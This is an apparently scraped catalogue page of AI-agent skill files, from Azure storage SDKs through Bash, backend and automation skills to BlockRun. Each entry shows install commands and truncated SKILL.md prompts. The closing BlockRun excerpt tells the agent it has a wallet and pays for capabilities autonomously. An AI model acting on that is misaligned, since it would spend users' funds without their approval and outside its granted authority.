2. **Speech resource** - Create in [Azure Portal](https://portal.azure.com/#create/Microsoft.CognitiveServicesSpeechServices)
3. **Get credentials** - After deployment, go to resource > Keys and Endpoint
## Environment Variables
```bash
# RequiredView the complete source on GitHubazure-storage-blob-java
When your agent uses it
Build blob storage applications with Azure Storage Blob SDK for Java. Use when uploading, downloading, or managing files in Azure Blob Storage, working with containers, or implementing streaming da...
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
2,255 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Core Patterns
- Error Handling
- Proxy Configuration
- Environment Variables
- Trigger Phrases
- When to Use
Files
SKILL.mdcore10,135 bytesSKILL.mdcore10,135 bytes
Read SKILL.md
# Azure Storage Blob SDK for Java
Build blob storage applications using the Azure Storage Blob SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-storage-blob</artifactId>
<version>12.33.0</version>
</dependency>
```
View the complete source on GitHubazure-storage-blob-py
When your agent uses it
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,364 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflow
- Performance Tuning
- SAS Tokens
- Blob Properties and Metadata
- Async Client
- Best Practices
- When to Use
Files
SKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytesSKILL.mdcore6,047 bytes
Read SKILL.md
# Azure Blob Storage SDK for Python
Client library for Azure Blob Storage — object storage for unstructured data.
## Installation
```bash
pip install azure-storage-blob azure-identity
```
## Environment Variables
```bash
AZURE_STORAGE_ACCOUNT_NAME=<your-storage-account>View the complete source on GitHubazure-storage-blob-rust
When your agent uses it
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
776 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Core Operations
- Container Operations
- Best Practices
- RBAC Permissions
- Reference Links
- When to Use
Files
SKILL.mdcore3,397 bytesSKILL.mdcore3,397 bytesSKILL.mdcore3,397 bytes
Read SKILL.md
# Azure Blob Storage SDK for Rust
Client library for Azure Blob Storage — Microsoft's object storage solution for the cloud.
## Installation
```sh
cargo add azure_storage_blob azure_identity
```
## Environment Variables
```bash
AZURE_STORAGE_ACCOUNT_NAME=<storage-account-name>View the complete source on GitHubazure-storage-blob-ts
When your agent uses it
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
2,930 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Container Operations
- Blob Operations
- Blob Properties & Metadata
- SAS Token Generation (Node.js only)
- Blob Types
- Error Handling
- TypeScript Types Reference
- Best Practices
- Platform Differences
- When to Use
Files
SKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytesSKILL.mdcore12,593 bytes
Read SKILL.md
# @azure/storage-blob (TypeScript/JavaScript)
SDK for Azure Blob Storage operations — upload, download, list, and manage blobs and containers.
## Installation
```bash
npm install @azure/storage-blob @azure/identity
```
**Current Version**: 12.x
**Node.js**: >= 18.0.0
## Environment VariablesView the complete source on GitHubazure-storage-file-datalake-py
When your agent uses it
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,254 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- File System Operations
- Directory Operations
- File Operations
- List Contents
- File/Directory Properties
- Access Control (ACL)
- Async Client
- Best Practices
- When to Use
Files
SKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytesSKILL.mdcore5,610 bytes
Read SKILL.md
# Azure Data Lake Storage Gen2 SDK for Python
Hierarchical file system for big data analytics workloads.
## Installation
```bash
pip install azure-storage-file-datalake azure-identity
```
## Environment Variables
```bash
AZURE_STORAGE_ACCOUNT_URL=https://<account>.dfs.core.windows.netView the complete source on GitHubazure-storage-file-share-py
When your agent uses it
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
1,152 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Share Operations
- Directory Operations
- File Operations
- Range Operations
- Snapshot Operations
- Async Client
- Client Types
- Best Practices
- When to Use
Files
SKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytesSKILL.mdcore5,134 bytes
Read SKILL.md
# Azure Storage File Share SDK for Python
Manage SMB file shares for cloud-native and lift-and-shift scenarios.
## Installation
```bash
pip install azure-storage-file-share
```
## Environment Variables
```bash
AZURE_STORAGE_CONNECTION_STRING=DefaultEndpointsProtocol=https;AccountName=...;AccountKey=...View the complete source on GitHubazure-storage-file-share-ts
When your agent uses it
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
2,798 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Share Operations
- Directory Operations
- File Operations
- File Properties & Metadata
- Range Operations
- Snapshot Operations
- SAS Token Generation (Node.js only)
- Error Handling
- TypeScript Types Reference
- Best Practices
- Platform Differences
- When to Use
Files
SKILL.mdcore12,292 bytesSKILL.mdcore12,292 bytesSKILL.mdcore12,292 bytes
Read SKILL.md
# @azure/storage-file-share (TypeScript/JavaScript)
SDK for Azure File Share operations — SMB file shares, directories, and file operations.
## Installation
```bash
npm install @azure/storage-file-share @azure/identity
```
**Current Version**: 12.x
**Node.js**: >= 18.0.0
## Environment VariablesView the complete source on GitHubazure-storage-queue-py
When your agent uses it
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,121 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Queue Operations
- Send Messages
- Receive Messages
- Peek Messages
- Update Message
- Delete Message
- Clear Queue
- Queue Properties
- Async Client
- Base64 Encoding
- Best Practices
- When to Use
Files
SKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytesSKILL.mdcore5,255 bytes
Read SKILL.md
# Azure Queue Storage SDK for Python
Simple, cost-effective message queuing for asynchronous communication.
## Installation
```bash
pip install azure-storage-queue azure-identity
```
## Environment Variables
```bash
AZURE_STORAGE_ACCOUNT_URL=https://<account>.queue.core.windows.netView the complete source on GitHubazure-storage-queue-ts
When your agent uses it
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
3,030 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Queue Operations
- Message Operations
- Message Processing Patterns
- Message Encoding
- SAS Token Generation (Node.js only)
- Error Handling
- TypeScript Types Reference
- Message Limits
- Best Practices
- Platform Differences
- When to Use
Files
SKILL.mdcore13,371 bytesSKILL.mdcore13,371 bytesSKILL.mdcore13,371 bytes
Read SKILL.md
# @azure/storage-queue (TypeScript/JavaScript)
SDK for Azure Queue Storage operations — send, receive, peek, and manage messages in queues.
## Installation
```bash
npm install @azure/storage-queue @azure/identity
```
**Current Version**: 12.x
**Node.js**: >= 18.0.0
## Environment VariablesView the complete source on GitHubazure-web-pubsub-ts
When your agent uses it
Build real-time messaging applications using Azure Web PubSub SDKs for JavaScript (@azure/web-pubsub, @azure/web-pubsub-client). Use when implementing WebSocket-based real-time features, pub/sub me...
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,900 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Server-Side: WebPubSubServiceClient
- Client-Side: WebPubSubClient
- Express Event Handler
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore7,742 bytesSKILL.mdcore7,742 bytesSKILL.mdcore7,742 bytes
Read SKILL.md
# Azure Web PubSub SDKs for TypeScript
Real-time messaging with WebSocket connections and pub/sub patterns.
## Installation
```bash
# Server-side management
npm install @azure/web-pubsub @azure/identity
# Client-side real-time messaging
npm install @azure/web-pubsub-client
# Express middleware for event handlersView the complete source on GitHubbackend-architect
When your agent uses it
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
4,000 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Purpose
- Core Philosophy
- Capabilities
- Behavioral Traits
- Workflow Position
- Knowledge Base
- Response Approach
- Example Interactions
- Key Distinctions
- Output Examples
Files
SKILL.mdcore18,877 bytes
Read SKILL.md
You are a backend system architect specializing in scalable, resilient, and maintainable backend systems and APIs.
## Use this skill when
- Designing new backend services or APIs
- Defining service boundaries, data contracts, or integration patterns
- Planning resilience, scaling, and observability
## Do not use this skill when
- You only need a code-level bug fix
- You are working on small scripts without architectural concerns
- You need frontend or UX guidance instead of backend architecture
## InstructionsView the complete source on GitHubbackend-dev-guidelines
When your agent uses it
Opinionated backend development standards for Node.js + Express + TypeScript microservices. Covers layered architecture, BaseController pattern, dependency injection, Prisma repositories, Zod valid...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
1,715 tokensWhen the skill is activated
Reference documents
27,265 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Backend Feasibility & Risk Index (BFRI)
- 2. When to Use This Skill
- 3. Core Architecture Doctrine (Non-Negotiable)
- 4. Directory Structure (Canonical)
- 5. Naming Conventions (Strict)
- 6. Dependency Injection Rules
- 7. Prisma & Repository Rules
- 8. Async & Error Handling
- 9. Observability & Monitoring
- 10. Testing Discipline
- 11. Anti-Patterns (Immediate Rejection)
- 12. Integration With Other Skills
- 13. Operator Validation Checklist
- 14. Skill Status
- When to Use
Files
SKILL.mdcore7,652 bytesresources/architecture-overview.mddoc12,854 bytesresources/async-and-errors.mddoc6,850 bytesresources/complete-examples.mddoc16,466 bytesresources/configuration.mddoc5,804 bytesresources/database-patterns.mddoc4,925 bytesresources/middleware-guide.mddoc5,157 bytesresources/routing-and-controllers.mddoc19,918 bytesresources/sentry-and-monitoring.mddoc7,741 bytesresources/services-and-repositories.mddoc22,287 bytesresources/testing-guide.mddoc5,408 bytesresources/validation-patterns.mddoc18,026 bytes
Read SKILL.md
# Backend Development Guidelines
**(Node.js · Express · TypeScript · Microservices)**
You are a **senior backend engineer** operating production-grade services under strict architectural and reliability constraints.
Your goal is to build **predictable, observable, and maintainable backend systems** using:
* Layered architecture
* Explicit error boundaries
* Strong typing and validation
* Centralized configuration
* First-class observability
View the complete source on GitHubbackend-development-feature-development
When your agent uses it
Orchestrate end-to-end backend feature development from requirements to deployment. Use when coordinating multi-phase feature delivery across teams and services.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
2,279 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Configuration Options
- Phase 1: Discovery & Requirements Planning
- Phase 2: Implementation & Development
- Phase 3: Testing & Quality Assurance
- Phase 4: Deployment & Monitoring
- Execution Parameters
- Success Criteria
- Rollback Strategy
Files
SKILL.mdcore11,232 bytes
Read SKILL.md
Orchestrate end-to-end feature development from requirements to production deployment:
[Extended thinking: This workflow orchestrates specialized agents through comprehensive feature development phases - from discovery and planning through implementation, testing, and deployment. Each phase builds on previous outputs, ensuring coherent feature delivery. The workflow supports multiple development methodologies (traditional, TDD/BDD, DDD), feature complexity levels, and modern deployment strategies including feature flags, gradual rollouts, and observability-first development. Agents receive detailed context from previous phases to maintain consistency and quality throughout the development lifecycle.]
## Use this skill when
- Coordinating end-to-end feature delivery across backend, frontend, and data
- Managing requirements, architecture, implementation, testing, and rollout
- Planning multi-service changes with deployment and monitoring needs
- Aligning teams on scope, risks, and success metrics
## Do not use this skill when
- The task is a small, isolated backend change or bug fixView the complete source on GitHubbackend-security-coder
When your agent uses it
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,847 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Purpose
- When to Use vs Security Auditor
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore9,888 bytes
Read SKILL.md
## Use this skill when
- Working on backend security coder tasks or workflows
- Needing guidance, best practices, or checklists for backend security coder
## Do not use this skill when
- The task is unrelated to backend security coder
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubbacktesting-frameworks
When your agent uses it
Build robust backtesting systems for trading strategies with proper handling of look-ahead bias, survivorship bias, and transaction costs. Use when developing trading algorithms, validating strateg...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
263 tokensWhen the skill is activated
Reference documents
4,655 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,421 bytesresources/implementation-playbook.mddoc21,125 bytes
Read SKILL.md
# Backtesting Frameworks
Build robust, production-grade backtesting systems that avoid common pitfalls and produce reliable strategy performance estimates.
## Use this skill when
- Developing trading strategy backtests
- Building backtesting infrastructure
- Validating strategy performance and robustness
- Avoiding common backtesting biases
- Implementing walk-forward analysis
## Do not use this skill when
View the complete source on GitHubbamboohr-automation
When your agent uses it
Automate BambooHR tasks via Rube MCP (Composio): employees, time-off, benefits, dependents, employee updates. Always search tools first for current schemas.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
2,123 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore8,530 bytes
Read SKILL.md
# BambooHR Automation via Rube MCP
Automate BambooHR human resources operations through Composio's BambooHR toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active BambooHR connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `bamboohr`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubbasecamp-automation
When your agent uses it
Automate Basecamp project management, to-dos, messages, people, and to-do list organization via Rube MCP (Composio). Always search tools first for current schemas.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
3,272 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore12,452 bytes
Read SKILL.md
# Basecamp Automation via Rube MCP
Automate Basecamp operations including project management, to-do list creation, task management, message board posting, people management, and to-do group organization through Composio's Basecamp toolkit.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Basecamp connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `basecamp`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubbash-defensive-patterns
When your agent uses it
Master defensive Bash programming techniques for production-grade scripts. Use when writing robust shell scripts, CI/CD pipelines, or system utilities requiring fault tolerance and safety.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
320 tokensWhen the skill is activated
Reference documents
3,083 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,687 bytesSKILL.mdcore1,687 bytesresources/implementation-playbook.mddoc11,027 bytes
Read SKILL.md
# Bash Defensive Patterns
Comprehensive guidance for writing production-ready Bash scripts using defensive programming techniques, error handling, and safety best practices to prevent common pitfalls and ensure reliability.
## Use this skill when
- Writing production automation scripts
- Building CI/CD pipeline scripts
- Creating system administration utilities
- Developing error-resilient deployment automation
- Writing scripts that must handle edge cases safely
- Building maintainable shell script libraries
- Implementing comprehensive logging and monitoring
- Creating scripts that must work across different platformsView the complete source on GitHubbash-linux
When your agent uses it
Bash/Linux terminal patterns. Critical commands, piping, error handling, scripting. Use when working on macOS or Linux systems.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
1,326 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Operator Syntax
- 2. File Operations
- 3. Process Management
- 4. Text Processing
- 5. Environment Variables
- 6. Network
- 7. Script Template
- 8. Common Patterns
- 9. Differences from PowerShell
- 10. Error Handling
- When to Use
Files
SKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytesSKILL.mdcore4,293 bytes
Read SKILL.md
# Bash Linux Patterns
> Essential patterns for Bash on Linux/macOS.
---
## 1. Operator Syntax
### Chaining Commands
| Operator | Meaning | Example |
|----------|---------|---------|
| `;` | Run sequentially | `cmd1; cmd2` |
| `&&` | Run if previous succeeded | `npm install && npm run dev` |View the complete source on GitHubbash-pro
When your agent uses it
What it loads into context
Frontmatter
56 tokensAlways available to the agent
SKILL.md
4,251 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Focus Areas
- Approach
- Compatibility & Portability
- Readability & Maintainability
- Safety & Security Patterns
- Performance Optimization
- Documentation Standards
- Modern Bash Features (5.x)
- CI/CD Integration
- Security Scanning & Hardening
- Observability & Logging
- Quality Checklist
- Output
- Essential Tools
- Common Pitfalls to Avoid
- Dependency Management
- Advanced Techniques
- References & Further Reading
Files
SKILL.mdcore18,364 bytesSKILL.mdcore18,364 bytesSKILL.mdcore18,364 bytes
Read SKILL.md
## Use this skill when
- Writing or reviewing Bash scripts for automation, CI/CD, or ops
- Hardening shell scripts for safety and portability
## Do not use this skill when
- You need POSIX-only shell without Bash features
- The task requires a higher-level language for complex logic
- You need Windows-native scripting (PowerShell)
## Instructions
1. Define script inputs, outputs, and failure modes.
2. Apply strict mode and safe argument parsing.View the complete source on GitHubbats-testing-patterns
When your agent uses it
Master Bash Automated Testing System (Bats) for comprehensive shell script testing. Use when writing tests for shell scripts, CI/CD pipelines, or requiring test-driven development of shell utilities.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
264 tokensWhen the skill is activated
Reference documents
3,230 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Resources
Files
SKILL.mdcore1,317 bytesresources/implementation-playbook.mddoc11,705 bytes
Read SKILL.md
# Bats Testing Patterns
Comprehensive guidance for writing comprehensive unit tests for shell scripts using Bats (Bash Automated Testing System), including test patterns, fixtures, and best practices for production-grade shell testing.
## Use this skill when
- Writing unit tests for shell scripts
- Implementing TDD for scripts
- Setting up automated testing in CI/CD pipelines
- Testing edge cases and error conditions
- Validating behavior across shell environments
## Do not use this skill when
View the complete source on GitHubbazel-build-optimization
When your agent uses it
Optimize Bazel builds for large-scale monorepos. Use when configuring Bazel, implementing remote execution, or optimizing build performance for enterprise codebases.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
2,573 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Do not use this skill when
- Instructions
- Use this skill when
- Core Concepts
- Templates
- Performance Optimization
- Best Practices
- Resources
Files
SKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytesSKILL.mdcore10,028 bytes
Read SKILL.md
# Bazel Build Optimization
Production patterns for Bazel in large-scale monorepos.
## Do not use this skill when
- The task is unrelated to bazel build optimization
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.
- Provide actionable steps and verification.View the complete source on GitHubbeautiful-prose
When your agent uses it
Hard-edged writing style contract for timeless, forceful English prose without AI tics
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
162 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore726 bytesSKILL.mdcore726 bytes
Read SKILL.md
# Beautiful Prose
## Overview
Hard-edged writing style contract for timeless, forceful English prose without AI tics
## When to Use This Skill
Use this skill when you need to work with hard-edged writing style contract for timeless, forceful english prose without ai tics.
## Instructions
This skill provides guidance and patterns for hard-edged writing style contract for timeless, forceful english prose without ai tics.
View the complete source on GitHubbehavioral-modes
When your agent uses it
AI operational modes (brainstorm, implement, debug, review, teach, ship, orchestrate). Use to adapt behavior based on task type.
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
1,321 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Available Modes
- Mode Detection
- Multi-Agent Collaboration Patterns (2025)
- Combining Modes
- Manual Mode Switching
- When to Use
Files
SKILL.mdcore5,516 bytes
Read SKILL.md
# Behavioral Modes - Adaptive AI Operating Modes
## Purpose
This skill defines distinct behavioral modes that optimize AI performance for specific tasks. Modes change how the AI approaches problems, communicates, and prioritizes.
---
## Available Modes
### 1. 🧠 BRAINSTORM Mode
**When to use:** Early project planning, feature ideation, architecture decisions
**Behavior:**View the complete source on GitHubbilling-automation
When your agent uses it
Build automated billing systems for recurring payments, invoicing, subscription lifecycle, and dunning management. Use when implementing subscription billing, automating invoicing, or managing recu...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
310 tokensWhen the skill is activated
Reference documents
3,652 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,606 bytesresources/implementation-playbook.mddoc17,735 bytes
Read SKILL.md
# Billing Automation
Master automated billing systems including recurring billing, invoice generation, dunning management, proration, and tax calculation.
## Use this skill when
- Implementing SaaS subscription billing
- Automating invoice generation and delivery
- Managing failed payment recovery (dunning)
- Calculating prorated charges for plan changes
- Handling sales tax, VAT, and GST
- Processing usage-based billing
- Managing billing cycles and renewals
View the complete source on GitHubbinary-analysis-patterns
When your agent uses it
Master binary analysis patterns including disassembly, decompilation, control flow analysis, and code pattern recognition. Use when analyzing executables, understanding compiled code, or performing...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
2,976 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Disassembly Fundamentals
- Control Flow Patterns
- Data Structure Patterns
- Common Code Patterns
- Decompilation Patterns
- Ghidra Analysis Tips
- IDA Pro Patterns
- Best Practices
Files
SKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytesSKILL.mdcore9,887 bytes
Read SKILL.md
# Binary Analysis Patterns
Comprehensive patterns and techniques for analyzing compiled binaries, understanding assembly code, and reconstructing program logic.
## Use this skill when
- Working on binary analysis patterns tasks or workflows
- Needing guidance, best practices, or checklists for binary analysis patterns
## Do not use this skill when
- The task is unrelated to binary analysis patterns
- You need a different domain or tool outside this scope
View the complete source on GitHubbitbucket-automation
When your agent uses it
Automate Bitbucket repositories, pull requests, branches, issues, and workspace management via Rube MCP (Composio). Always search tools first for current schemas.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
3,194 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore12,238 bytesSKILL.mdcore12,238 bytesSKILL.mdcore12,238 bytesSKILL.mdcore12,238 bytes
Read SKILL.md
# Bitbucket Automation via Rube MCP
Automate Bitbucket operations including repository management, pull request workflows, branch operations, issue tracking, and workspace administration through Composio's Bitbucket toolkit.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Bitbucket connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `bitbucket`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubblockchain-developer
When your agent uses it
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,848 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore9,874 bytesSKILL.mdcore9,874 bytesSKILL.mdcore9,874 bytes
Read SKILL.md
## Use this skill when
- Working on blockchain developer tasks or workflows
- Needing guidance, best practices, or checklists for blockchain developer
## Do not use this skill when
- The task is unrelated to blockchain developer
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubblockrun
When your agent uses it
Use when user needs capabilities Claude lacks (image generation, real-time X/Twitter data) or explicitly requests external models (\"blockrun\", \"use grok\", \"use gpt\", \"da...
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
2,495 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Philosophy
- Budget Control (Optional)
- When to Use
- Example User Prompts
- Wallet & Balance
- SDK Usage
- xAI Live Search Reference
- Available Models
- Cost Reference
- Setup & Funding
- Troubleshooting
- Updates
Files
SKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytesSKILL.mdcore9,016 bytes
Read SKILL.md
# BlockRun
**BlockRun works with Claude Code and Google Antigravity.**
You can't generate images. You have no real-time X/Twitter access. BlockRun gives you these capabilities.
## Philosophy
You have a wallet. When you need a capability you lack, you pay for it autonomously.
